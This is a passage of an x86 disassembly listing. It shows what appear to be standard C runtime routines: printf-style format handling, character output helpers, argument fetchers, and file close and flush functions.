		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417EF7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41846D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_417EF7:				; CODE XREF: sub_417D2C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41846D
		add	esp, 0Ch
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417F0F:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		movsx	eax, bl		; jumptable 00417D9A case 7
		cmp	eax, 67h
		jg	loc_418137
		cmp	eax, 65h
		jge	loc_417FBA
		cmp	eax, 58h
		jg	loc_418018
		jz	loc_4181AB
		sub	eax, 43h
		jz	loc_417FDB
		dec	eax
		dec	eax
		jz	short loc_417FB0
		dec	eax
		dec	eax
		jz	short loc_417FB0
		sub	eax, 0Ch
		jnz	loc_418336
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F59
		or	byte ptr [ebp+var_4+1],	8


loc_417F59:				; CODE XREF: sub_417D2C+227j
					; sub_417D2C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417F66
		mov	esi, 7FFFFFFFh


loc_417F66:				; CODE XREF: sub_417D2C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41817F
		test	ecx, ecx
		jnz	short loc_417F8E
		mov	ecx, ds:off_437D3C
		mov	[ebp+var_8], ecx


loc_417F8E:				; CODE XREF: sub_417D2C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_417F97:				; CODE XREF: sub_417D2C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_418176
		cmp	word ptr [eax],	0
		jz	loc_418176
		inc	eax
		inc	eax
		jmp	short loc_417F97
; ---------------------------------------------------------------------------


loc_417FB0:				; CODE XREF: sub_417D2C+212j
					; sub_417D2C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_417FBA:				; CODE XREF: sub_417D2C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41809E
		mov	[ebp+var_10], 6
		jmp	loc_4180AC
; ---------------------------------------------------------------------------


loc_417FDB:				; CODE XREF: sub_417D2C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417FE7
		or	byte ptr [ebp+var_4+1],	8


loc_417FE7:				; CODE XREF: sub_417D2C+2B5j
					; sub_417D2C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41802E
		call	sub_418528
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D16F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418041
		mov	[ebp+var_28], 1
		jmp	short loc_418041
; ---------------------------------------------------------------------------


loc_418018:				; CODE XREF: sub_417D2C+1FBj
		sub	eax, 5Ah
		jz	short loc_41804F
		sub	eax, 9
		jz	short loc_417FE7
		dec	eax
		jz	loc_418211
		jmp	loc_418336
; ---------------------------------------------------------------------------


loc_41802E:				; CODE XREF: sub_417D2C+2C5j
		call	sub_41850B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_418041:				; CODE XREF: sub_417D2C+2E1j
					; sub_417D2C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418336
; ---------------------------------------------------------------------------


loc_41804F:				; CODE XREF: sub_417D2C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	eax, eax
		pop	ecx
		jz	short loc_418090
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_418090
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_418081
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418336
; ---------------------------------------------------------------------------


loc_418081:				; CODE XREF: sub_417D2C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_418090:				; CODE XREF: sub_417D2C+32Fj
					; sub_417D2C+336j
		mov	eax, ds:off_437D38
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41812C
; ---------------------------------------------------------------------------


loc_41809E:				; CODE XREF: sub_417D2C+29Dj
		jnz	short loc_4180AC
		cmp	bl, 67h
		jnz	short loc_4180AC
		mov	[ebp+var_10], 1


loc_4180AC:				; CODE XREF: sub_417D2C+2AAj
					; sub_417D2C:loc_41809Ej ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_438078
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_4180FE
		cmp	[ebp+var_10], 0
		jnz	short loc_4180FE
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_438084
		pop	ecx


loc_4180FE:				; CODE XREF: sub_417D2C+3BCj
					; sub_417D2C+3C2j
		cmp	bl, 67h
		jnz	short loc_418115
		test	esi, esi
		jnz	short loc_418115
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43807C
		pop	ecx


loc_418115:				; CODE XREF: sub_417D2C+3D5j
					; sub_417D2C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41812B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41812B:				; CODE XREF: sub_417D2C+3F0j
		push	edi


loc_41812C:				; CODE XREF: sub_417D2C+36Dj
		call	sub_415CD0
		pop	ecx
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_418137:				; CODE XREF: sub_417D2C+1E9j
		sub	eax, 69h
		jz	loc_418211
		sub	eax, 5
		jz	loc_4181E7
		dec	eax
		jz	loc_4181D4
		dec	eax
		jz	short loc_4181A4
		sub	eax, 3
		jz	loc_417F59
		dec	eax
		dec	eax
		jz	loc_418215
		sub	eax, 3
		jnz	loc_418336
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418176:				; CODE XREF: sub_417D2C+270j
					; sub_417D2C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_41817F:				; CODE XREF: sub_417D2C+24Fj
		test	ecx, ecx
		jnz	short loc_41818C
		mov	ecx, ds:off_437D38
		mov	[ebp+var_8], ecx


loc_41818C:				; CODE XREF: sub_417D2C+455j
		mov	eax, ecx


loc_41818E:				; CODE XREF: sub_417D2C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41819D
		cmp	byte ptr [eax],	0
		jz	short loc_41819D
		inc	eax
		jmp	short loc_41818E
; ---------------------------------------------------------------------------


loc_41819D:				; CODE XREF: sub_417D2C+467j
					; sub_417D2C+46Cj
		sub	eax, ecx
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_4181A4:				; CODE XREF: sub_417D2C+425j
		mov	[ebp+var_10], 8


loc_4181AB:				; CODE XREF: sub_417D2C+201j
		mov	[ebp+var_2C], 7


loc_4181B2:				; CODE XREF: sub_417D2C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41821C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41821C
; ---------------------------------------------------------------------------


loc_4181D4:				; CODE XREF: sub_417D2C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41821C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41821C
; ---------------------------------------------------------------------------


loc_4181E7:				; CODE XREF: sub_417D2C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418200
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418205
; ---------------------------------------------------------------------------


loc_418200:				; CODE XREF: sub_417D2C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418205:				; CODE XREF: sub_417D2C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_418211:				; CODE XREF: sub_417D2C+2F7j
					; sub_417D2C+40Ej
		or	[ebp+var_4], 40h


loc_418215:				; CODE XREF: sub_417D2C+432j
		mov	[ebp+var_C], 0Ah


loc_41821C:				; CODE XREF: sub_417D2C+491j
					; sub_417D2C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41822E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418518
		pop	ecx
		jmp	short loc_41826F
; ---------------------------------------------------------------------------


loc_41822E:				; CODE XREF: sub_417D2C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418255
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41824A
		call	sub_41850B
		pop	ecx
		movsx	eax, ax


loc_418247:				; CODE XREF: sub_417D2C+527j
					; sub_417D2C+539j
		cdq
		jmp	short loc_41826F
; ---------------------------------------------------------------------------


loc_41824A:				; CODE XREF: sub_417D2C+510j
		call	sub_41850B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418247
; ---------------------------------------------------------------------------


loc_418255:				; CODE XREF: sub_417D2C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418267
		call	sub_41850B
		pop	ecx
		jmp	short loc_418247
; ---------------------------------------------------------------------------


loc_418267:				; CODE XREF: sub_417D2C+531j
		call	sub_41850B
		pop	ecx
		xor	edx, edx


loc_41826F:				; CODE XREF: sub_417D2C+500j
					; sub_417D2C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_418290
		test	edx, edx
		jg	short loc_418290
		jl	short loc_41827F
		test	eax, eax
		jnb	short loc_418290


loc_41827F:				; CODE XREF: sub_417D2C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_418294
; ---------------------------------------------------------------------------


loc_418290:				; CODE XREF: sub_417D2C+547j
					; sub_417D2C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_418294:				; CODE XREF: sub_417D2C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41829D
		and	edi, 0


loc_41829D:				; CODE XREF: sub_417D2C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182AC
		mov	[ebp+var_10], 1
		jmp	short loc_4182B0
; ---------------------------------------------------------------------------


loc_4182AC:				; CODE XREF: sub_417D2C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4182B0:				; CODE XREF: sub_417D2C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182BA
		and	[ebp+var_1C], 0


loc_4182BA:				; CODE XREF: sub_417D2C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4182C0:				; CODE XREF: sub_417D2C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4182D0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41830B


loc_4182D0:				; CODE XREF: sub_417D2C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417240
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4172C0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418301
		add	ebx, [ebp+var_2C]


loc_418301:				; CODE XREF: sub_417D2C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4182C0
; ---------------------------------------------------------------------------


loc_41830B:				; CODE XREF: sub_417D2C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418336
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418329
		test	eax, eax
		jnz	short loc_418336


loc_418329:				; CODE XREF: sub_417D2C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_418333:				; CODE XREF: sub_417D2C+35Fj
					; sub_417D2C+406j ...
		mov	[ebp+var_C], eax


loc_418336:				; CODE XREF: sub_417D2C+21Bj
					; sub_417D2C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418434	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41836E
		test	bh, 1
		jz	short loc_418353
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418367
; ---------------------------------------------------------------------------


loc_418353:				; CODE XREF: sub_417D2C+61Fj
		test	bl, 1
		jz	short loc_41835E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418367
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_417D2C+62Aj
		test	bl, 2
		jz	short loc_41836E
		mov	[ebp+var_16], 20h


loc_418367:				; CODE XREF: sub_417D2C+625j
					; sub_417D2C+630j
		mov	[ebp+var_1C], 1


loc_41836E:				; CODE XREF: sub_417D2C+61Aj
					; sub_417D2C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41838E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184A2
		add	esp, 10h


loc_41838E:				; CODE XREF: sub_417D2C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4184D3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4183C0
		test	bl, 4
		jnz	short loc_4183C0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184A2
		add	esp, 10h


loc_4183C0:				; CODE XREF: sub_417D2C+67Bj
					; sub_417D2C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418407
		cmp	[ebp+var_C], 0
		jle	short loc_418407
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4183D5:				; CODE XREF: sub_417D2C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D16F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41841C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4184D3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4183D5
		jmp	short loc_41841C
; ---------------------------------------------------------------------------


loc_418407:				; CODE XREF: sub_417D2C+698j
					; sub_417D2C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4184D3
		add	esp, 10h


loc_41841C:				; CODE XREF: sub_417D2C+6BCj
					; sub_417D2C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418434 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184A2
		add	esp, 10h


loc_418434:				; CODE XREF: sub_417D2C+68j
					; sub_417D2C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D58


loc_418445:				; CODE XREF: sub_417D2C+1Fj
					; sub_417D2C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D2C	endp

; ---------------------------------------------------------------------------
off_41844D	dd offset loc_417ECB	; DATA XREF: sub_417D2C+6Er
		dd offset loc_417DA1	; jump table for switch	statement
		dd offset loc_417DBC
		dd offset loc_417E08
		dd offset loc_417E3F
		dd offset loc_417E47
		dd offset loc_417E7C
		dd offset loc_417F0F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41846D	proc near		; CODE XREF: sub_417D2C+1BDp
					; sub_417D2C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_418486
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_418491
; ---------------------------------------------------------------------------


loc_418486:				; CODE XREF: sub_41846D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_418491:				; CODE XREF: sub_41846D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41849E
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41849E:				; CODE XREF: sub_41846D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41846D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184A2	proc near		; CODE XREF: sub_417D2C+65Ap
					; sub_417D2C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4184D0
		mov	esi, [esp+8+arg_C]


loc_4184B3:				; CODE XREF: sub_4184A2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41846D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4184D0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184B3


loc_4184D0:				; CODE XREF: sub_4184A2+Bj
					; sub_4184A2+25j
		pop	edi
		pop	esi
		retn
sub_4184A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184D3	proc near		; CODE XREF: sub_417D2C+670p
					; sub_417D2C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418507
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4184E9:				; CODE XREF: sub_4184D3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41846D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418507
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4184E9


loc_418507:				; CODE XREF: sub_4184D3+Cj
					; sub_4184D3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4184D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41850B	proc near		; CODE XREF: sub_417D2C+E5p
					; sub_417D2C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41850B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418518	proc near		; CODE XREF: sub_417D2C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418518	endp


; =============== S U B	R O U T	I N E =======================================



sub_418528	proc near		; CODE XREF: sub_417D2C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418536	proc near		; CODE XREF: sub_4159B4+17p
					; sub_4159B4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418554
		mov	ecx, ds:off_437D40
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185A6
; ---------------------------------------------------------------------------


loc_418554:				; CODE XREF: sub_418536+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_437D40
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_418579
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_418582
; ---------------------------------------------------------------------------


loc_418579:				; CODE XREF: sub_418536+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_418582:				; CODE XREF: sub_418536+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_41D1D7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185A2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185A2:				; CODE XREF: sub_418536+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4185A6:				; CODE XREF: sub_418536+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418536	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185AB	proc near		; CODE XREF: sub_415B20+2Ap
					; sub_41D53A+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_46A880
		jnb	loc_418645
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A780h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418645
		push	edi
		call	sub_41D4A6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418624
		cmp	edi, 1
		jz	short loc_4185F2
		cmp	edi, 2
		jnz	short loc_418608


loc_4185F2:				; CODE XREF: sub_4185AB+40j
		push	2
		call	sub_41D4A6
		push	1
		mov	ebp, eax
		call	sub_41D4A6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418624


loc_418608:				; CODE XREF: sub_4185AB+45j
		push	edi
		call	sub_41D4A6
		pop	ecx
		push	eax
		call	ds:dword_42106C
		test	eax, eax
		jnz	short loc_418624
		call	ds:dword_421088
		mov	ebp, eax
		jmp	short loc_418626
; ---------------------------------------------------------------------------


loc_418624:				; CODE XREF: sub_4185AB+3Bj
					; sub_4185AB+5Bj ...
		xor	ebp, ebp


loc_418626:				; CODE XREF: sub_4185AB+77j
		push	edi
		call	loc_41D42C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418641
		push	ebp
		call	sub_41C5B7
		pop	ecx
		jmp	short loc_418656
; ---------------------------------------------------------------------------


loc_418641:				; CODE XREF: sub_4185AB+8Bj
		xor	eax, eax
		jmp	short loc_418659
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_4185AB+Ej
					; sub_4185AB+2Fj
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9


loc_418656:				; CODE XREF: sub_4185AB+94j
		or	eax, 0FFFFFFFFh


loc_418659:				; CODE XREF: sub_4185AB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41865E	proc near		; CODE XREF: sub_415B20+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418687
		test	al, 8
		jz	short loc_418687
		push	dword ptr [esi+8]
		call	sub_415E1D
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_418687:				; CODE XREF: sub_41865E+Aj
					; sub_41865E+Ej
		pop	esi
		retn
sub_41865E	endp


; =============== S U B	R O U T	I N E =======================================



sub_418689	proc near		; CODE XREF: sub_418729+2Dp
					; sub_418729+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41869B
		push	esi
		call	sub_418729
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41869B:				; CODE XREF: sub_418689+7j
		push	esi
		call	sub_4186C4
		test	eax, eax
		pop	ecx
		jz	short loc_4186AB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186AB:				; CODE XREF: sub_418689+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4186C0
		push	dword ptr [esi+10h]
		call	sub_41D4E3
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186C0:				; CODE XREF: sub_418689+26j
		xor	eax, eax
		pop	esi
		retn
sub_418689	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C4	proc near		; CODE XREF: sub_415B20+1Ap
					; sub_416E1E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418711
		test	ax, 108h
		jz	short loc_418711
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418711
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C40A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41870A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418711
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418711
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_418711:				; CODE XREF: sub_4186C4+14j
					; sub_4186C4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4186C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418720	proc near		; CODE XREF: sub_41D15Bp
		push	1
		call	sub_418729
		pop	ecx
		retn
sub_418720	endp


; =============== S U B	R O U T	I N E =======================================



sub_418729	proc near		; CODE XREF: sub_418689+Ap
					; sub_418720+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_46A760, esi
		jle	short loc_418787


loc_41873A:				; CODE XREF: sub_418729+5Cj
		mov	eax, ds:dword_469750
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41877E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41877E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418764
		push	eax
		call	sub_418689
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41877E
		inc	ebx
		jmp	short loc_41877E
; ---------------------------------------------------------------------------


loc_418764:				; CODE XREF: sub_418729+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41877E
		test	cl, 2
		jz	short loc_41877E
		push	eax
		call	sub_418689
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41877E
		or	edi, eax


loc_41877E:				; CODE XREF: sub_418729+1Bj
					; sub_418729+23j ...
		inc	esi
		cmp	esi, ds:dword_46A760
		jl	short loc_41873A


loc_418787:				; CODE XREF: sub_418729+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_418792
		mov	eax, edi


loc_418792:				; CODE XREF: sub_418729+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418729	endp


; =============== S U B	R O U T	I N E =======================================



